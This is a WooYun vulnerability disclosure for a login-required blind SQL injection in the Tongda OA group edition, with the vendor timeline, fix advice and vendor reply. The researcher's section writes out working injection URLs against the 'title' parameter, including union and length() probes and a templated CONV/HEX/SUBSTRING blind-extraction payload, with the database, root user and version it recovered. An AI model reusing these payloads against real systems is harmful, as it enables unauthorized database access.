当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0147858

漏洞标题:通达OA集团最新版一处盲注漏洞demo测试(需登录)

相关厂商:通达信科

漏洞作者: goubuli

提交时间:2015-10-20 10:00

修复时间:2016-01-18 15:20

公开时间:2016-01-18 15:20

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-20: 细节已通知厂商并且等待厂商处理中
2015-10-20: 厂商已经确认,细节仅向厂商公开
2015-10-23: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2015-12-14: 细节向核心白帽子及相关领域专家公开
2015-12-24: 细节向普通白帽子公开
2016-01-03: 细节向实习白帽子公开
2016-01-18: 细节向公众公开

简要描述:

集团OA最新版,未过滤',然后再绕过过滤函数,root权限

详细说明:

厂商官网:http://**.**.**.**/
集团demo地址:**.**.**.**/
SQL漏洞地址:

**.**.**.**/general/document/index.php/send/sendlist/send_for/?tid=&title=1
参数title可注入


这个点竟然没有过滤单引号'

1019-20.png


爆SQL语句:
提交:

**.**.**.**/general/document/index.php/send/sendlist/send_for/?tid=&title=1%' and 1=2 union select


1019-21.png


返回:

不安全的SQL语句:联合查询
select count(*) as total from doc_send_data as a where 1 = 1 and title like '%1%' and 1=2 union select%' and status='6' and a.creator='admin'


然后绕过过滤,构造注入

**.**.**.**/general/document/index.php/send/sendlist/send_for/?tid=&title=1%' and length(version())=41  and 'a%'='a


1019-22.png


判断version长度为41
同理判断user、database

**.**.**.**/general/document/index.php/send/sendlist/send_for/?tid=&title=1%' and length(database())=5  and 'a%'='a


**.**.**.**/general/document/index.php/send/sendlist/send_for/?tid=&title=1%' and length(user())=14  and 'a%'='a


构造盲注点:

**.**.**.**/general/document/index.php/send/sendlist/send_for/?tid=&title=1%' and CONV(HEX(SUBSTRING(database(),1,1)),16,10)=116 and 'a%'='a


直接用脚本跑:

**.**.**.**/general/document/index.php/send/sendlist/send_for/?tid=&title=1%' and CONV(HEX(SUBSTRING(database(),{1},1)),16,10)={1} and 'a%'='a


1015-database.png


database

td_oa


1015-user.png


user

root@**.**.**.**


1015-version.png

version

5.5.36-enterprise-commercial-advanced-log

漏洞证明:

1015-database.png


database

td_oa


1015-user.png


user

root@**.**.**.**


1015-version.png

version

5.5.36-enterprise-commercial-advanced-log

修复方案:

过滤+切勿输出敏感SQL

版权声明:转载请注明来源 goubuli@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:2

确认时间:2015-10-20 15:14

厂商回复:

需要登录

最新状态:

暂无